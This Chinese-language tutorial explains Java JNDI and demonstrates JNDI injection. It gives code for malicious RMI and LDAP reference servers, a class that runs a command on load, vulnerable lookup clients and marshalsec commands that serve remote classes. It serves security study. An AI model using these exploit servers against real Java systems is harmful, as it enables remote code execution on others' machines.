JNDI
JNDI
1、概念
JNDI(Java Naming and Directory Interface)是Java提供的Java 命名和目录接口。包括Naming Service和Directory Service,允许客户端通过名称发现和查找数据、对象。这些对象可以存储在不同的命名或目录服务中,例如远程方法调用(RMI),公共对象请求代理体系结构(CORBA),轻型目录访问协议(LDAP)或域名服务(DNS)
2、前置知识
2.1、InitialContext
构造方法
//初始化一个上下文
InitialContext()
//构造一个初始上下文,并选择不初始化它。
InitialContext(boolean lazy)
//使用提供的环境构建初始上下文。
InitialContext(Hashtable<?,?> environment)
常用方法
// 将名称绑定到对象。
bind(Name name, Object obj)
//枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。
list(String name)
// 检索命名对象。
lookup(String name)
//将名称绑定到对象,覆盖任何现有绑定
rebind(String name, Object obj)
//取消绑定命名对象。
unbind(String name)
代码实例
String uri = "rmi://127.0.0.1:1099/work";
InitialContext initialContext = new InitialContext();
initialContext.lookup(uri);
2.2、Reference
Reference是java中的引用类,该类表示对在命名/目录系统外部找到的对象的引用。提供了JNDI中类的引用功能。
构造方法
Reference(String className)
为类名为“className”的对象构造一个新的引用。
Reference(String className, RefAddr addr)
为类名为“className”的对象和地址构造一个新引用。
Reference(String className, RefAddr addr, String factory, String factoryLocation)
为类名为“className”的对象,对象工厂的类名和位置以及对象的地址构造一个新引用。
Reference(String className, String factory, String factoryLocation)
为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。
Reference的主要参数
- className – 远程加载时所使用的类名,如果本地找不到这个类名,就去远程加载
- factory – 包含用于创建此引用引用的对象的实例的工厂类的名称。
- factoryLocation – 工厂类加载的地址,可以是file://、ftp://、// 等协议
常用方法
void add(int posn, RefAddr addr)
将地址添加到索引posn的地址列表中。
void add(RefAddr addr)
将地址添加到地址列表的末尾。
void clear()
从此引用中删除所有地址。
Object clone()
使用其类别名称列表的地址,类工厂名称和类工厂位置创建此引用的副本。
boolean equals(Object obj)
确定obj是否是具有与该引用相同的地址(以相同的顺序)的引用。
RefAddr get(int posn)
检索索引posn上的地址。
RefAddr get(String addrType)
检索地址类型为“addrType”的第一个地址。
Enumeration<RefAddr> getAll()
检索本参考文献中地址的列举。
String getClassName()
检索引用引用的对象的类名。
String getFactoryClassLocation()
检索此引用引用的对象的工厂位置。
String getFactoryClassName()
检索此引用引用对象的工厂的类名。
int hashCode()
计算此引用的哈希码。
Object remove(int posn)
从地址列表中删除索引posn上的地址。
int size()
检索此引用中的地址数。
String toString()
生成此引用的字符串表示形式。
2.3、ReferenceWrapper
ReferenceWrapper类对Reference类或其子类对象进行远程包装使其能够被远程访问
类也很简单,主要通过构造方法获取Reference,同时继承了UnicastRemoteObject。
public class ReferenceWrapper extends UnicastRemoteObject implements RemoteReference {
protected Reference wrappee;
private static final long serialVersionUID = 6078186197417641456L;
public ReferenceWrapper(Reference var1) throws NamingException, RemoteException {
this.wrappee = var1;
}
public Reference getReference() throws RemoteException {
return this.wrappee;
}
}
3、JNDI注入攻击
jndi注入有很多种攻击方式,这里只展示rmi和ldap方式,其他可以学习//paper.seebug.org/1207/#
环境jdk1.8u66
3.1、JNDI+RMI
RMIServer
package com.akkacloud.jndi;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer1 {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(1099);
System.out.println("registry is runing in 1099");
//创建新的引用类,用于引用恶意类
Reference reference = new Reference("Calc", "com.akkacloud.jndi.Calc", "//127.0.0.1:8000/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("obj",referenceWrapper);
}
}
Calc(恶意类)
package com.akkacloud.jndi;
import java.io.IOException;
public class Calc {
public Calc() throws IOException {
Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
}
}
RMIClient
package com.akkacloud.jndi;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
public class RMIClient1 {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
String url = "rmi://localhost:1099/obj";
InitialContext initialContext = new InitialContext();
initialContext.lookup(url);
}
}
首先编译我们的恶意代码文件挂在至网站
% javac Calc.java
% python3 -m http.server
运行RMIServer
运行RMICilent
如果高版本(我这里是8u291)则会存在报错
system property ‘com.sun.jndi.rmi.object.trustURLCodebase’ to ‘true’.
还有就是使用marshalsec启动rmi服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer //ip:80/#ExportObject 1099
3.2、JDNI+LDAP
由于JNDI注入动态加载的原理是使用Reference引用Object Factory类,其内部在上文中也分析到了使用的是URLClassLoader,所以不受java.rmi.server.useCodebaseOnly=false
- JDK 5U45、6U45、7u21、8u121 开始
java.rmi.server.useCodebaseOnly
默认配置为true - JDK 6u132、7u122、8u113 开始
com.sun.jndi.rmi.object.trustURLCodebase
默认值为false - JDK 11.0.1、8u191、7u201、6u211
com.sun.jndi.ldap.object.trustURLCodebase
默认为false
导入依赖
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>3.2.0</version>
</dependency>
ldapServer
package com.akkacloud.jndi;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
public class Ldap {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main(String[] argsx) {
String[] args = new String[]{"//127.0.0.1:8000/#Calc", "9999"};
int port = 0;
if (args.length < 1 || args[0].indexOf('#') < 0) {
System.err.println(Ldap.class.getSimpleName() + " <codebase_url#classname> [<port>]"); //$NON-NLS-1$
System.exit(-1);
} else if (args.length > 1) {
port = Integer.parseInt(args[1]);
}
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[0])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
} catch (Exception e) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
/**
*
*/
public OperationInterceptor(URL cb) {
this.codebase = cb;
}
/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
public void processSearchResult(InMemoryInterceptedSearchResult result) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
} catch (Exception e1) {
e1.printStackTrace();
}
}
protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if (refPos > 0) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
client
package com.akkacloud.jndi;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class LdapClient {
public static void main(String[] args) throws NamingException {
String uri = "ldap://127.0.0.1:9999/calc";
Context ctx = new InitialContext();
ctx.lookup(uri);
}
}
启动web服务,把恶意文件编译成class文件挂在web服务目录下,恶意文件不能包含package信息
其实实战可以使用marshalsec启动一个ldap服务,客户端还是一样的
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer //127.0.0.1:8000/#Calc 1389
web服务
python3 -m http.server
参考
//www.cnblogs.com/nice0e3/p/13958047.html
//y4er.com/post/attack-java-jndi-rmi-ldap-2/